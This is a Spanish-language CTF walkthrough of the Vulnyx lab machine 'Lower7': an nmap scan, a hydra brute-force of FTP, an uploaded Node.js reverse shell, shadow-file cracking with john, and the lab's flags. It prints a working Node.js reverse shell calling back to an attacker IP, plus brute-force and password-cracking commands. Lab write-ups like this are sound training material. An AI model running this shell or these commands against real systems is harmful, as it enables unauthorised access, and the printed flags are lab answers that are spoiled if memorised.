Post

Lower7, Vulnix

portada

Herramientas y recursos

En este reto de vulnyx nos encontramos ante una maquina linux.

Tecnicas Herramientas
scan de puertos nmap
Fuerza bruta hydra
Revshell node js
fuerza bruta john

Reconocimiento y enumeracion

Para empezar lanzamos un nmap para ver que puertos estan abierto y posteriormente otro nmap que compruebe las versiones de los servicios que dispone.

1
sudo nmap -p- --open --min-rate 5000 -sS -sV -Pn -n 192.168.18.40 -vvv

nmap

Como vemos disponemos de un servicio FTP en el 21 y un servidor http de Node.js en el 3000.

Despues de lanzar feroxbuster y tenerlo un ratito no encuentra nada prubeo a conectarme por FTP.

ftp

Como vemos en la imagen en el banner nos aparece un nombre de usuario por lo tanto vamos a realizar fuerza bruta con hydra dado que no nos permite conectarnos de forma anonima.

1
hydra -l a.clark -P /home/firstatack/Descargas/rockyou.txt ftp://192.168.18.40

hydra

Tenemos credenciales ahora vemos de subir una revshell teniendo en cuenta que es un server en node , por tanto .js Como pueden ver en la imagen de abajo probe algunas hasta dar con la correcta , pq algunas me tiraban este error **The module does not export a function. en la web pero en realidad se establecia la conexion, culpa mia de no fijarme en la terminal.

transfer

Infiltracion y escalada

Recibo conexion

recibida

Ni bien la recibo me aseguro como quien estoy y le aplico tratamiento a la tty

1
2
3
4
5
python3 -c 'import pty; pty.spawn("/bin/bash")'
ctrl + z
stty raw -echo; fg
reset
export TERM=xterm

Cuando ejecute id me di cuenta que estoy en el grupo shadow asi que vamos a leer el fichero y crackearlo con nuesro amigo john.

Despues de un ratito obtengo

john

Password bassman

root

cat user.txt 9f903b45d270a2d0b95c68b4f3aac03f

cat /root/root.txt 97b79229372dea359415afef3e350241

Hasta aqui esta maquina hacia tiempo que no usaba john y le triba con format yescrypt y no me andaba gracias por leer.

1
2
3
4
5
6
7
8
9
10
11
12
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(1188, "192.168.18.14", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/;
})();
This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.